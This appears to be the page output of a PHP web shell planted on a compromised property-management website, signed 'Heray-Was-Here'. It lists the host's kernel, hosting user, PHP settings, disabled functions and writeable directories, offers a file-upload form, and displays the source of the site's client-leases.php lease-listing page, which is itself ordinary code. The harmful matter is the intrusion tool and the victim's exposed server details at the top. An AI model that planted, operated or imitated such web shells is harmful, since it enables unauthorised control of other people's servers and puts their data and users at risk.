Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/client-leases.php
<?php
include 'includes/header.php';

if ($_SESSION['user_role'] !== 'client') {
    header("Location: dashboard.php");
    exit;
}

// Fetch Client's Leases
$stmt = $pdo->prepare("
    SELECT l.*, p.title as property_title, p.address
    FROM leases l
    JOIN properties p ON l.property_id = p.id
    WHERE l.tenant_id = ?
    ORDER BY l.created_at DESC
");
$stmt->execute([$_SESSION['user_id']]);
$leases = $stmt->fetchAll();
?>

<div class="container-fluid px-4">
    <div class="d-flex justify-content-between align-items-center mt-4 mb-4">
        <h1 class="h3 mb-0 text-gray-800"><i class="fa-solid fa-file-contract me-2"></i>My Leases</h1>
    </div>

    <div class="card shadow mb-4">
        <div class="card-header py-3">
            <h6 class="m-0 font-weight-bold text-navy">Lease Agreements</h6>
        </div>
        <div class="card-body">
            <div class="table-responsive">
                <table class="table table-hover align-middle" width="100%" cellspacing="0">
                    <thead class="table-light">
                        <tr>
                            <th>Property</th>
                            <th>Address</th>
                            <th>Rent</th>
                            <th>Duration</th>
                            <th>Status</th>
                            <th>Action</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if (empty($leases)): ?>
                            <tr>
                                <td colspan="6" class="text-center py-4">No active leases found.</td>
                            </tr>
                        <?php else: ?>
                            <?php foreach ($leases as $lease): ?>
                            <tr>
                                <td>
                                    <div class="d-flex align-items-center">
                                        <div class="me-3 text-navy">
                                            <i class="fa-solid fa-house fa-2x"></i>
                                        </div>
                                        <div class="fw-bold"><?= htmlspecialchars($lease['property_title']) ?></div>
                                    </div>
                                </td>
                                <td><?= htmlspecialchars($lease['address']) ?></td>
                                <td>
                                    <span class="fw-bold text-success"><?= formatCurrency($lease['rent_amount']) ?></span>
                                    <small class="text-muted">/ <?= ucfirst($lease['payment_frequency']) ?></small>
                                </td>
                                <td>
                                    <?= date('M j, Y', strtotime($lease['start_date'])) ?> - <br>
                                    <?= date('M j, Y', strtotime($lease['end_date'])) ?>
                                </td>
                                <td>
                                    <?php
                                    $statusClass = 'bg-secondary';
                                    if ($lease['status'] === 'active') $statusClass = 'bg-success';
                                    elseif ($lease['status'] === 'expired') $statusClass = 'bg-warning text-dark';
                                    elseif ($lease['status'] === 'terminated') $statusClass = 'bg-danger';
                                    ?>
                                    <span class="badge <?= $statusClass ?>"><?= ucfirst($lease['status']) ?></span>
                                </td>
                                <td>
                                    <button class="btn btn-sm btn-outline-primary" title="View Details">
                                        <i class="fa-solid fa-eye"></i>
                                    </button>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>

<?php include 'includes/footer.php'; ?>

Hry